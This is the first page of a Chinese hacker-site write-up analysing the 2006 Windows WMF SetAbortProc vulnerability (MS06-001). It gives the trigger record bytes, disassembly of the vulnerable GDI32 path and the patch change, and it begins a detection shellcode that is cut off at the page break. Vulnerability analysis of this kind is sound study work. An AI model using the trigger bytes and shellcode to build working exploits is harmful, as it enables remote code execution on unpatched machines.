您现在的位置: 骇客基地 >> 黑客文章 >> 黑客攻防 >> 黑客教程 >> 正文

MS06001 图形呈现引擎(WMF)漏洞分析学习手记
骇客基地 阅读: 时间:2007-6-23 8:35:47 来源:www.hookbase.com
  
图形呈现引擎中由于其处理 Windows 图元文件 (WMF) 图像的方式而存在一个远程执行代码漏洞。据FlashSky所言是MS早期在处理OLE而在WMF(没有考虑安全)中定义的功能。漏洞因0day方式传播而导致漏洞被曝光。Win2000、XPsp1、XPsp2代码略有不同,如下代码是XPsp1的。 


一、漏洞分析: 

    漏洞出现的问题是在PlayMetaFile函数中,函数调用关系如下: 
     
    Gdi32.dll!PlayMetaFile 
                PlayMetaFileRecord 
                   Escape 
                     SetAbortProc 

    在PlayMetaFileRecord函数中将比较wmf格式中的相关Record结构,如果该标记不为0X49和后续的标记不为0X0f则转向跳到ESCAPE函数上,ESCAPE会允许设置为wmf一个段当作代码,并将这个地址传送给sETaBORTpROC,在sETaBORTpROC函数返回的时候,WMF文件中的代码将会被执行。 
    在WMF文件头中增加如下Record可以激活漏洞:11 00 00 00 26 06 09 00 16 00 


.TEXT:77c4b65c           PUSH  [EBP+UfLAGS]            ; CASE 0X26 
.TEXT:77c4b65f           PUSH  EBX 
.TEXT:77c4b660           CALL  _pLAYiNTOamETAFILE@8    ; pLAYiNTOamETAFILE(X,X) 
.TEXT:77c4b665           CMP   EAX, EDI 
.TEXT:77c4b667           MOV   [EBP+VAR_4], EAX 
.TEXT:77c4b66a           JNZ   LOC_77c4b424 
.TEXT:77c4b670           MOV   AX, [EBX+6]        ;AX=09=sETaBORTpROC 
.TEXT:77c4b674           CMP   AX, 0fH 
.TEXT:77c4b678           JNZ   LOC_77c5fc0a 
... 
.TEXT:77c61062           SUB   EDI, 6            ;将9进行减去三次,如果在减6为0 
.TEXT:77c61065           JZ    SHORT LOC_77c61090    ;则跳到sETaBORTpROC函数 
... 
.TEXT:77c61090           PUSH  [EBP+ARG_c]             ; abortproc 
.TEXT:77c61093           PUSH  [EBP+ARG_0]             ; hdc 
.TEXT:77c61096           CALL  _sETaBORTpROC@8         ; sETaBORTpROC函数将返回1 
... 
.TEXT:77c604c8           MOV   EAX, [EAX+14H]        ;代码地址传入eax 
.TEXT:77c604cb           CMP   EAX, ECX            ;如果该地址为空跳走 
.TEXT:77c604cd           JZ    LOC_77c4b286 
.TEXT:77c604d3           PUSH  ECX 
.TEXT:77c604d4           PUSH  EDI 
.TEXT:77c604d5           CALL  EAX            ;执行wmf文件中的代码! 
.TEXT:77c604d7           TEST  EAX, EAX 
.TEXT:77c604d9           JZ    LOC_77c5c87b 
.TEXT:77c604df           JMP   LOC_77c4b286 

  

补丁改动: 

    MS修补这个漏洞采用直接比较是否为0x09,如果是则不走入Escape函数,直接返回。 

7F032200    837C24 04 09          CMP DWORD PTR SS:[ESP+4],9   ;直接比较标记是否为09 
7F032205    74 08                 JE SHORT GDI32.7F03220F 
7F032207    837C24 04 0F          CMP DWORD PTR SS:[ESP+4],0F 
7F03220C    74 01                 JE SHORT GDI32.7F03220F 
7F03220E    40                    INC EAX 
7F03220F    C2 0400               RETN 4 

  

二、检测Shellcode: 

    为检测主机是否存在漏洞,构造了一个WMF文件,发现现有的ShellCode无不是为了入侵(add user&downexec),流传的那个0day会崩掉Explorer.exe,于是自己写了一个简易弹出提醒对话框的Shellcode,代码如下: 

    __asm 
    { 
        pushad 
        sub esp, 100;  
        mov ebp,esp; 
        mov eax,fs:0x30     
        mov eax,[eax+0x0c] 
        mov esi,[eax+0x1c] 
        lodsd                 
        mov edi,[eax+0x08] 
        mov eax, [edi+3Ch] 
        mov edx,[edi+eax+78h] 
        add edx,edi                 
        mov ecx,[edx+18h] 
            mov ebx,[edx+20h]                  
        add ebx,edi                                 
sa: 
        dec ecx 
        mov esi,[ebx+ecx*4]                 
        add esi,edi     
        mov eax,0x50746547 
        cmp [esi],    eax 
        jne sa 
        mov eax,0x41636f72 
        cmp [esi+4],eax 
        jne sa                 
            mov ebx,[edx+24h] 
        add ebx,edi 
        mov cx,[ebx+ecx*2] 
            mov ebx,[edx+1Ch] 
        add ebx,edi 
        mov eax,[ebx+ecx*4]             
        add eax,edi             
        mov [

[1] [2] 下一页

今天广告
参与评论:
注意事项:
【MS06001 图形呈现引擎(WMF)漏洞分析学习手记】文章由骇客基地网上搜集,其立场行为并不代表本站。
如果您发现该文章若无意中侵犯到您的权利,请联系我们!
未经本站明确许可,任何网站不得非法盗链及抄袭本站资源;如引用页面,请注明来自本站,谢谢您的支持!
最近更新
最新推荐
     
 
黑客首页 | 服务指南 | 软件发布  | 关于我们 | 本站声明  | 隐私声明 | 诚征英才 | 网站地图 | 友情链接 |
 
 
中国·黑客·骇客·基地 请使用IE6.0版本, 分辩率1024×768进行浏览 www.hookbase.com 站长:利客 Email:hookbase@163.com
Copyright © 2004-2009 All Rights Reserved. 粤ICP备05000985号